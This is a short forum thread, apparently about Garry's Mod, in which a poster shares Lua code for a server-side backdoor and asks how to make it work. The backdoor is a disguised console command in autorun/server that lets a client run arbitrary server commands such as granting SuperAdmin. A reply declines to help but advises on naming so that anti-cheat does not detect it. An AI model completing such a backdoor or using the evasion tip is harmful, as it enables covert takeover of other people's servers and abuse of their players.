RunConsoleCommand with variable question

Im making a backdoor, and i have one simple question (probably a noob question too :P) How can i make this work:

CreateConVar("lelxd", FCVAR_CLIENTCMD_CAN_EXECUTE)
concommand.Add( "unsuspicious_command", function()
local backdoorit = GetConVarNumber("lelxd")
RunConsoleCommand( backdoorit )
end)

I want to run commands server side from the client with the backdoor in autorun/server. Example: i type in console lelxd ulx useradd Test SuperAdmin and then i type backdoorit and it executes server side. Any help is appreciated :3

I can't really help you on that but I have one question, why would you name a function "backdoorit" when if they have cac it would appear and probably perma ban you like straight away. Just kinda dumb imo.